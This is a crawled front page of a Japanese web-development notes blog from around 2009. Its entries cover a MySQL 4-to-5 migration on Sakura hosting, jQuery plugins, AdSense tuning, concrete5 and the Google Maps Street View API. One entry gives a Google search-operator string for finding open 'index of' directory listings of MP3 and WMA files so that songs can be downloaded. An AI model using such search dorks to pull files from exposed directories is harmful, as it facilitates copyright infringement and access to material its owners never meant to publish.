HTTP/1.1 200 OK
Date: Thu, 07 Jan 2010 19:05:56 GMT
Server: Apache
Last-Modified: Thu, 07 Jan 2010 15:13:21 GMT
ETag: "166d883-9709-4b45fa11"
Accept-Ranges: bytes
Content-Length: 38665
Connection: close
Content-Type: text/html
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja">
<head profile="http://purl.org/net/ns/metaprof">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>ホームページ制作メモ - HTML CSS CMSなど -</title>
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<meta name="generator" content="Movable Type 3.3-ja" />
<meta name="author" content="ホームページ制作メモ - HTML CSS CMSなど -" />
<link rel="alternate" type="application/xml" href="http://www.puzzue.com/index.xml" title="RSS 2.0" />
<link rel="alternate" type="application/atom+xml" href="http://www.puzzue.com/atom.xml" title="Atom cite contents" />
<link rel="contents" href="http://www.puzzue.com/archives.html" title="ホームページ制作メモ - HTML CSS CMSなど - Archives" />
<link rel="stylesheet" type="text/css" href="http://www.puzzue.com/styles-site.css" />
<meta name="description" content="ホームページ制作時に知っていると便利なテクニック等をメモ。" />
<meta name="keywords" content="ホームページ制作,WEB制作,CSS,Ajax,javascript" />
<meta name="verify-v1" content="FrO4TedWFnHgONs+9bki2vORo3LetnTVmnUSu9agbDw=" >
</head>
<body class="mainIndex double">
<div id="header">
<p class="siteName"><a href="http://www.puzzue.com/">ホームページ制作メモ - HTML CSS CMSなど -</a></p>
<p class="description">ホームページ制作時に知っていると便利なテクニック等をメモ。</p>
<ul id="globalNavi">
<li class="current"><a href="/">Home</a></li>
<li><a href="/archives.html">記事一覧</a></li>
</ul>
</div>
<div id="content">
<div id="main">
<p class="topicPath"><a href="http://www.puzzue.com/" title="Home">Home</a></p>
<h1>ホームページ制作メモ - HTML CSS CMSなど -</h1>
<div class="section entry" id="entry000145">
<h2><a href="http://www.puzzue.com/mysql45/">さくらサーバーのMySQLのバージョンを4から5に</a></h2>
<ul class="info">
<li class="date">2009-08-06 (木)</li>
<li class="category"><a href="http://www.puzzue.com/cat8/" title="サーバー関連 Index">サーバー関連</a></li>
</ul>
<div class="textBody">
<p>まず、既存のデータベースをダンプします。<br />
ターミナルで接続して以下のコマンドを入力。<br />
<blockquote>mysqldump-4.0 -u [USERNAME] -h [HOST] [DBNAME] -p > mysql.dump</blockquote></p>
<p>次にさくらインターネットのコントロールパネルの「データベースの設定」からデータベースを削除。<br />
削除するとそのままこの画面でデータベースの作成ができるので MySQL5.1 で作り直します。</p>
<p>ターミナルから mysql コマンドで、以下を。<br />
<blockquote>mysql -v -u [USERNAME] -h [HOST] [DBNAME] -p</blockquote></p>
<p>作ったままだとデータベース文字コードが ujis になっているので utf8 に変更。<br />
<blockquote>mysql> alter database [DBNAME] character set utf8;</blockquote><br />
<blockquote>mysql> \C utf8</blockquote></p>
<p>ダンプしたファイルからデータベースをリストア。<br />
<blockquote>mysql> \. mysql.dump</blockquote></p>
<p><br />
</p>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/mysql45/#comments" title="さくらサーバーのMySQLのバージョンを4から5にへのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/mysql45/#trackback" title="さくらサーバーのMySQLのバージョンを4から5にへのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000144">
<h2><a href="http://www.puzzue.com/javascript/jqueryjparallax/">奥行き感を表現できるjQueryプラグイン「jParallax」</a></h2>
<ul class="info">
<li class="date">2008-11-26 (水)</li>
<li class="category"><a href="http://www.puzzue.com/javascript_tips/" title="Javascript Index">Javascript</a></li>
</ul>
<div class="textBody">
<p>jParallaxはjQueryのプラグインで、なんと画像に奥行き感を持たせて表現が可能にするjavascriptです。</p>
<div class="blogimg"><img alt="j.gif" src="http://www.puzzue.com/blogimg/j.gif" width="509" height="208" /></div>
<p>仕組みとしては、複数の画像をレイヤーを重ねるように表示して、マウスの動きにあわせて上下左右にそれぞれ少しずつずらして表示を切り替える。そうすることで、遠近感をもって動いているかのような印象を与えることができます。</p>
<p>サンプルも豊富にあり、パノラマのように風景が動かせるもの、水滴が動くもの、ドーナッツ形の物体が伸びるものなど、どれも面白い表現となっています。</p>
<p>奥に配置するものは暗く、手前に配置するものは明るくするなど画像に工夫をする必要があり、背景も透明にしなければならないので、PNGのみ利用が可能なようです。</p>
<p>ぜひ一度見てみてください。いろいろ表現の幅が広がるのではないでしょうか。</p>
<ul>
<li><a href="http://webdev.stephband.info/parallax.html" target="_blank">奥行き感を表現 -jQueryプラグイン「jParallax」-</a></li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/javascript/jqueryjparallax/#comments" title="奥行き感を表現できるjQueryプラグイン「jParallax」へのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/javascript/jqueryjparallax/#trackback" title="奥行き感を表現できるjQueryプラグイン「jParallax」へのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000143">
<h2><a href="http://www.puzzue.com/google_adsense/">Google Adsenseのコンテンツマッチ率調整</a></h2>
<ul class="info">
<li class="date">2008-11-25 (火)</li>
<li class="category"><a href="http://www.puzzue.com/cat26/" title="便利テクニック Index">便利テクニック</a></li>
</ul>
<div class="textBody">
<p>Google Adsenseを導入している方で、表示させたい広告が表示されなかったり、クリック単価の安い広告が表示されてしまうという方もいらっしゃると思います。</p>
<p>その原因として、コンテンツ内のテキストが本来のセグメントからずれていたりするわけですが、そんな場合に使えるTipsが以下。</p>
<h3>セクションターゲットを使用</h3>
<p>アドセンスとマッチさせたいコンテンツに以下のコメント行をHTMLソース内に追加</p>
<p><pre><code><!-- google_ad_section_start -->
<!-- google_ad_section_end --></code></pre></p>
<p>アドセンスとマッチさせたくないコンテンツに以下のコメント行をHTMLソース内に追加</p>
<p><pre><code><!-- google_ad_section_start(weight=ignore) -->
<!-- google_ad_section_end --></code></pre></p>
<h3>Google Adsense ブラックリストを使用</h3>
<p>Google AdSenseでクリック単価の安いクライアントURLをリストアップしてくれるツール。<br />
リストアップされたURLををGoogle Adsenseの管理画面のフィルタ設定画面にコピペするだけで表示させたく ない広告をできるだけ防ぐことが可能。</p>
<ul>
<li><a href="http://www.webpersons.info/adsbl/" target="_blank">表示したくない広告をブロック -Google Adsense ブラックリスト日本版 Beta-</a></li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/google_adsense/#comments" title="Google Adsenseのコンテンツマッチ率調整へのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/google_adsense/#trackback" title="Google Adsenseのコンテンツマッチ率調整へのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000142">
<h2><a href="http://www.puzzue.com/javascript/javascriptcurvycorners/">自動で角丸を生成してくれるjavascriptライブラリ『curvyCorners』</a></h2>
<ul class="info">
<li class="date">2008-11-17 (月)</li>
<li class="category"><a href="http://www.puzzue.com/javascript_tips/" title="Javascript Index">Javascript</a></li>
</ul>
<div class="textBody">
<p>htmlで組むとなると何かとめんどくさい角丸の枠。</p>
<p>『curvyCorners』はclassを付けるだけで角丸にできるお手軽なJavascriptです。</p>
<ul>
<li><a href="http://blog.webcreativepark.net/sample/js/sample02.html" target="_blank">デモはこちら</a></li>
</ul>
<p class="continue"><a href="http://www.puzzue.com/javascript/javascriptcurvycorners/#extended" title="自動で角丸を生成してくれるjavascriptライブラリ『curvyCorners』 全文を読む" rel="nofollow">Continue reading</a></p>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/javascript/javascriptcurvycorners/#comments" title="自動で角丸を生成してくれるjavascriptライブラリ『curvyCorners』へのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/javascript/javascriptcurvycorners/#trackback" title="自動で角丸を生成してくれるjavascriptライブラリ『curvyCorners』へのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000141">
<h2><a href="http://www.puzzue.com/javascript/post_35/">多段メニューをスムーズにドロップダウン展開するナビゲーション</a></h2>
<ul class="info">
<li class="date">2008-11-14 (金)</li>
<li class="category"><a href="http://www.puzzue.com/javascript_tips/" title="Javascript Index">Javascript</a></li>
</ul>
<div class="textBody">
<p>サービスや商品の種類や数が多いサイトでは、<br />ナビゲーションをいかにシンプルにわかりやすくまとめるか、という苦労があります。</p>
<p>ユーザーの属性や検索動機、シチュエーションに合わせて上手にカテゴライズしても、<br />どうしてもナビゲーション階層が深くなる場合がありますよね。</p>
<p>そういった場合、レイアウトをするうえでメニューの配置に四苦八苦することもあると思いますが、<br />この「<a href="http://www.dynamicdrive.com/dynamicindex1/ddsmoothmenu.htm" target="_blank">Smooth Navigational Menu</a>」は、階層の深い多段メニューを<br />javascriptでスムーズに展開できるので、ひとつの解決方法として使えるのではないでしょうか。</p>
<div class="blogimg"><img alt="drop.gif" src="http://www.puzzue.com/blogimg/drop.gif" width="468" height="230" /></div>
<p>メニューの各項目はリスト要素で、ラベルはテキストのため日本語でもOK。<br />
画像ファイルは、右・下向きの矢印のみ2枚使用あります。</p>
<p>対応ブラウザは IE6以上, FireFox1以上, Opera8以上となっています。<br />
jQueryのプラグインのため、動作には<a href="http://jquery.com/" target="_blank">jquery.js</a>が必要です。</p>
<ul>
<li><a href="http://www.dynamicdrive.com/dynamicindex1/ddsmoothmenu.htm" target="_blank">階層の深い多段メニューの整理に便利 -Smooth Navigational Menu</a>-</li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/javascript/post_35/#comments" title="多段メニューをスムーズにドロップダウン展開するナビゲーションへのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/javascript/post_35/#trackback" title="多段メニューをスムーズにドロップダウン展開するナビゲーションへのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000140">
<h2><a href="http://www.puzzue.com/php/cmsconcrete5/">これまでにない機能性と使い勝手の良さを誇るCMS「concrete5」</a></h2>
<ul class="info">
<li class="date">2008-11-12 (水)</li>
<li class="category"><a href="http://www.puzzue.com/mysql/" title="MySQL Index">MySQL</a> | <a href="http://www.puzzue.com/php/" title="PHP Index">PHP</a></li>
</ul>
<div class="textBody">
<p>concrete5は、これまでにあったCMSとは一線を画す機能性と使い勝手を有したCMSです。</p>
<div class="blogimg"><img alt="concrete5.gif" src="http://www.puzzue.com/blogimg/concrete5.gif" width="323" height="241" /></div>
<p>一般的なCMSは、ユーザインターフェースと管理インターフェースが別で、管理インターフェースではテンプレートやモジュール、テーマの設定、各入力項目やその順番を指定するのが通常ですが、出力結果自体はシステムに依存し、その点では柔軟性に欠ける部分もありました。</p>
<p>しかしconcrete5はそうではなく、見たまま編集することができ、さらに高い柔軟性も維持することができるという、管理・コンテンツ作成・デザイン全てにおいて優秀なCMSです。</p>
<p>最大の特徴として、ユーザーインターフェースを表示しながらデータの編集ができるという点で、
ヘッダーや、コンテンツ、メニュー部分等にそれぞれブロック要素を自由に追加することもできます。</p>
<p>またデザインに関しても、テーマを変更すれば一気に変更が可能で、何よりも変更履歴がバージョンで管理が可能な点が使いやすい。</p>
<p>他のCMSとは使い方が違うので、とっつきにくい部分もありますが、慣れてしまえば従来のCMSよりよっぽど自由度が高いので、ぜひお試しあれ。</p>
<ul>
<li><a href="http://www.concrete5.org/" target="_blank">豊富な機能と使いやすさを誇るCMS -concrete5-</a></li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/php/cmsconcrete5/#comments" title="これまでにない機能性と使い勝手の良さを誇るCMS「concrete5」へのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/php/cmsconcrete5/#trackback" title="これまでにない機能性と使い勝手の良さを誇るCMS「concrete5」へのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000139">
<h2><a href="http://www.puzzue.com/javascript/javascript_2/">javascriptでテーブルをソート</a></h2>
<ul class="info">
<li class="date">2008-11-07 (金)</li>
<li class="category"><a href="http://www.puzzue.com/javascript_tips/" title="Javascript Index">Javascript</a></li>
</ul>
<div class="textBody">
<p><a href="http://coliss.com/articles/build-websites/operation/javascript/1664.html" target="_blank">JavaScript Table Sorter</a>は、既存のテーブルにも実装が簡単なテーブルソート用スクリプトです。</p>
<p>しかも、容量も1.7kbとかなり軽量。prototype等のライブラリを必要としないため、導入も簡単です。</p>
<div class="blogimg"><img alt="sort.gif" src="http://www.puzzue.com/blogimg/sort.gif" width="395" height="175" /></div>
<ul>
<li><a href="http://sandbox.leigeber.com/sorter/index.html" target="_blank">デモはこちら</a></li>
</ul>
<p>設置方法は以下に。</p>
<ol>
<li>「script.js」と「style.css」を外部ファイルとして記述。</li>
<li>tableに「class="sortable" id="sorter"」を記述。</li>
<li>テーブルの下に下記のスクリプトを記述。</li>
</ol>
<p><pre><code><script type="text/javascript">
var sorter=new table.sorter("sorter");
sorter.init("sorter",1);
</script></code></pre></p>
<p>ソートを適用させたくない列には、「class="nosort"」を指定。</p>
<ul>
<li><a href="http://coliss.com/articles/build-websites/operation/javascript/1664.html" target="_blank">ダウンロード、詳しい解説はこちら</a></li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/javascript/javascript_2/#comments" title="javascriptでテーブルをソートへのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/javascript/javascript_2/#trackback" title="javascriptでテーブルをソートへのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000138">
<h2><a href="http://www.puzzue.com/googlemp3/">GoogleをMP3ダウンローダーに変える</a></h2>
<ul class="info">
<li class="date">2008-11-06 (木)</li>
<li class="category"><a href="http://www.puzzue.com/cat26/" title="便利テクニック Index">便利テクニック</a></li>
</ul>
<div class="textBody">
<p>Googleの検索式をうまく組み合わせると、ファイル名とファイル形式を指定して検索することが出来るようです。</p>
<p>タイトルどおり、GoogleをMP3ダウンローダーに変えるには、以下のような検索式を入れます。</p>
<p><pre><code>-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory"
+description +size +(wma|mp3) "<BANDNAME/SONG>" </code></pre></p>
<p>※ここでは2行になっていますが、実際には1行で。</p>
<p>上記内容をアドレスバーにコピー＆ペースト。<br /><BANDNAME/SONG>の部分にはバンド名か曲名をということらしい。</p>
<p>なぜこういう式になるのかの解説は以下に。</p>
<p><strong>-inurl：</strong>検索対象のアドレスからこのURLでないものをリストアップ。上記例では、「htm、html、phpがアドレスに含まれていないものを対象に」という意味に。</p>
<p><strong>intitle：</strong>-inurl：とは逆にこの文字列を含むアドレスを対象に絞り込むという意味。上記例の場合は「index of」「last modified」「parent directory」を含むものを探せ、となります。これはおそらくディレクトリにアクセスした際に中にファイル名などが一覧で出てくる状態を探させているのだかと。</p>
<p><strong>+description +size +(wma|mp3)：</strong>これにさらにサイズや探し出すファイルの拡張子指定を行っています。今回の例であれば「WMA」「MP3」。</p>
<p>以下のページから条件を組み合わせれば同じような事が可能となります。<br />
MP3以外の用途にも使えますね。</p>
<ul>
<li>Google 検索オプション <a href="http://www.google.co.jp/advanced_search?hl=ja">http://www.google.co.jp/advanced_search?hl=ja</a> </li>
</ul>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/googlemp3/#comments" title="GoogleをMP3ダウンローダーに変えるへのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/googlemp3/#trackback" title="GoogleをMP3ダウンローダーに変えるへのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000137">
<h2><a href="http://www.puzzue.com/web/googlemaps_api/">GoogleMaps APIにストリートビュー機能が追加</a></h2>
<ul class="info">
<li class="date">2008-11-05 (水)</li>
<li class="category"><a href="http://www.puzzue.com/web/" title="WEBサービス Index">WEBサービス</a></li>
</ul>
<div class="textBody">
<p>GoogleMaps APIに「GStreetviewClient」というストリートビューのデータを取得するための機能が追加されました。</p>
<p>この機能を使えば、例えば店舗紹介などのコンテンツでストリートビューをつかってより親切な情報提供ができたり、他の住所情報をもつAPIなどと組みあわせて情報濃度の高いマッシュアップコンテンツがつくれたりと、いろいろ幅が広がるのではないでしょうか。</p>
<div class="blogimg"><img alt="view.gif" src="http://www.puzzue.com/blogimg/view.gif" width="432" height="254" /></div>
<p>詳しくは「<a href="http://code.google.com/intl/ja/apis/maps/">Google Maps API - Google Code (日本語)</a>」に説明があります。</p>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/web/googlemaps_api/#comments" title="GoogleMaps APIにストリートビュー機能が追加へのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/web/googlemaps_api/#trackback" title="GoogleMaps APIにストリートビュー機能が追加へのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<div class="section entry" id="entry000136">
<h2><a href="http://www.puzzue.com/news/websphinn_japan/">WEBマーケティング担当者必見！Sphinn Japan スピン・ジャパン</a></h2>
<ul class="info">
<li class="date">2008-11-04 (火)</li>
<li class="category"><a href="http://www.puzzue.com/news/" title="News Index">News</a></li>
</ul>
<div class="textBody">
<p>「<a href="http://www.sphinn.jp/" target="_blank">Sphinn Japan（スピン・ジャパン）</a>」は、<br />SEOや検索マーケティングなど、サーチエンジン関連の情報を専門に取り扱う「ソーシャルニュースサイト」です。</p>
<p>すでにアメリカで運用されているSphinn（スピン）の公式日本版で、 <br />本家のSphinnは、SEOのエキスパートやGoolgeの社員をはじめ世界中のサーチマーケティングにかかわる人間が活発に意見交換するソーシャルニュースサイトとして成功を収めています。<br />
日本では、まだ一般にはなじみの薄いSEOや検索マーケティングを広めて、情報共有していこうというミッションを達成するために生まれたのが、Sphinn Japanです。</p>
</div>
<ul class="reaction">
<li class="comment"><a href="http://www.puzzue.com/news/websphinn_japan/#comments" title="WEBマーケティング担当者必見！Sphinn Japan スピン・ジャパンへのコメント" rel="nofollow">Comments</a>: <span class="count">0</span></li>
<li class="trackback"><a href="http://www.puzzue.com/news/websphinn_japan/#trackback" title="WEBマーケティング担当者必見！Sphinn Japan スピン・ジャパンへのトラックバック" rel="nofollow">TrackBack</a>: <span class="count">0</span></li>
</ul>
</div>
<p class="archives"><a href="http://www.puzzue.com/archives.html" title="過去の記事を読む">More...</a></p>
<p class="topicPath"><a href="http://www.puzzue.com/" title="Home">ホームページ制作メモ</a></p>
</div><!-- end main-->
<div id="utilities">
<dl class="navi">
<dt>Calendar</dt>
<dd>
<table class="calendar" cellpadding="0" cellspacing="0" summary="Monthly calendar">
<caption>« 2009年12月 <a href="http://www.puzzue.com/2008/11/" title="Older" rel="nofollow">»</a> </caption>
<tr>
<th class="sun" title="Sunday">S</th>
<th title="Monday">M</th>
<th title="Tuesday">T</th>
<th title="Wednesday">W</th>
<th title="Thursday">T</th>
<th title="Friday">F</th>
<th class="sat" title="Saturday">S</th>
</tr><tr>
<td> </td>
<td> </td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td></tr><tr>
<td>6</td>
<td>7</td>
<td>8</td>
<td>9</td>
<td>10</td>
<td>11</td>
<td>12</td></tr><tr>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
<td>17</td>
<td>18</td>
<td>19</td></tr><tr>
<td>20</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
<td>26</td></tr><tr>
<td>27</td>
<td class="today">28</td>
<td>29</td>
<td>30</td>
<td>31</td>
<td> </td>
<td> </td></tr>
</table>
</dd>
<dt>Tag cloud</dt>
<dd>
<ul class="tagCloud">
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=.htaccess&blog_id=1">.htaccess</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Acrobat&blog_id=1">Acrobat</a>
</li>
<li class="level3">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Ajax&blog_id=1">Ajax</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=API&blog_id=1">API</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=ASP&blog_id=1">ASP</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=CGI&blog_id=1">CGI</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=CMS&blog_id=1">CMS</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=CSS&blog_id=1">CSS</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=DB&blog_id=1">DB</a>
</li>
<li class="level3">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Excel&blog_id=1">Excel</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Flash&blog_id=1">Flash</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=FLV&blog_id=1">FLV</a>
</li>
<li class="level2">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Google&blog_id=1">Google</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Google%20Adsense&blog_id=1">Google Adsense</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=GoogleAnalytics&blog_id=1">GoogleAnalytics</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=GoogleMap&blog_id=1">GoogleMap</a>
</li>
<li class="level2">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=HTML&blog_id=1">HTML</a>
</li>
<li class="level1">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=javascript&blog_id=1">javascript</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=jQuery&blog_id=1">jQuery</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Linux&blog_id=1">Linux</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=LiveSearch&blog_id=1">LiveSearch</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Map&blog_id=1">Map</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=MovableType&blog_id=1">MovableType</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=MSN&blog_id=1">MSN</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=MT&blog_id=1">MT</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=MySQL&blog_id=1">MySQL</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=PDF&blog_id=1">PDF</a>
</li>
<li class="level3">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=PHP&blog_id=1">PHP</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=ping&blog_id=1">ping</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=RSS&blog_id=1">RSS</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=SEM&blog_id=1">SEM</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=SEO&blog_id=1">SEO</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=SQL&blog_id=1">SQL</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=VBA&blog_id=1">VBA</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=VBA%E3%83%9E%E3%82%AF%E3%83%AD&blog_id=1">VBAマクロ</a>
</li>
<li class="level3">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=WEB%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9&blog_id=1">WEBサービス</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Word&blog_id=1">Word</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=XML&blog_id=1">XML</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=Yahoo&blog_id=1">Yahoo</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%82%A2%E3%82%A4%E3%82%B3%E3%83%B3&blog_id=1">アイコン</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E8%A7%A3%E6%9E%90&blog_id=1">アクセス解析</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%82%AD%E3%83%BC%E3%83%AF%E3%83%BC%E3%83%89&blog_id=1">キーワード</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89&blog_id=1">コマンド</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC&blog_id=1">サーバー</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3&blog_id=1">デザイン</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9&blog_id=1">データベース</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B8&blog_id=1">ファイルストレージ</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%95%E3%83%AA%E3%83%BC%E3%82%BD%E3%83%95%E3%83%88&blog_id=1">フリーソフト</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%96%E3%83%AD%E3%82%B0&blog_id=1">ブログ</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%A0&blog_id=1">プログラム</a>
</li>
<li class="level3">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%9B%E3%83%BC%E3%83%A0%E3%83%9A%E3%83%BC%E3%82%B8%E5%88%B6%E4%BD%9C&blog_id=1">ホームページ制作</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%9E%E3%82%AF%E3%83%AD&blog_id=1">マクロ</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0&blog_id=1">マーケティング</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E3%83%AD%E3%82%B4&blog_id=1">ロゴ</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E6%90%BA%E5%B8%AF%E3%82%B5%E3%82%A4%E3%83%88&blog_id=1">携帯サイト</a>
</li>
<li class="level5">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E6%AD%A3%E8%A6%8F%E8%A1%A8%E7%8F%BE&blog_id=1">正規表現</a>
</li>
<li class="level6">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E7%84%A1%E6%96%99&blog_id=1">無料</a>
</li>
<li class="level4">
<a href="http://www.puzzue.com/mov/mt-search.cgi?tag=%E7%A7%80%E4%B8%B8&blog_id=1">秀丸</a>
</li>
</ul>
</dd>
<dt>Recent Entries</dt>
<dd>
<ul>
<li><a href="http://www.puzzue.com/mysql45/">さくらサーバーのMySQLのバージョンを4から5に</a></li><li><a href="http://www.puzzue.com/javascript/jqueryjparallax/">奥行き感を表現できるjQueryプラグイン「jParallax」</a></li><li><a href="http://www.puzzue.com/google_adsense/">Google Adsenseのコンテンツマッチ率調整</a></li><li><a href="http://www.puzzue.com/javascript/javascriptcurvycorners/">自動で角丸を生成してくれるjavascriptライブラリ『curvyCorners』</a></li><li><a href="http://www.puzzue.com/javascript/post_35/">多段メニューをスムーズにドロップダウン展開するナビゲーション</a></li>
</ul>
</dd>
<dt>Categories</dt>
<dd>
<ul>
<li><a href="http://www.puzzue.com/cgi/">CGI</a></li>
<li><a href="http://www.puzzue.com/css_tips/">CSS</a></li>
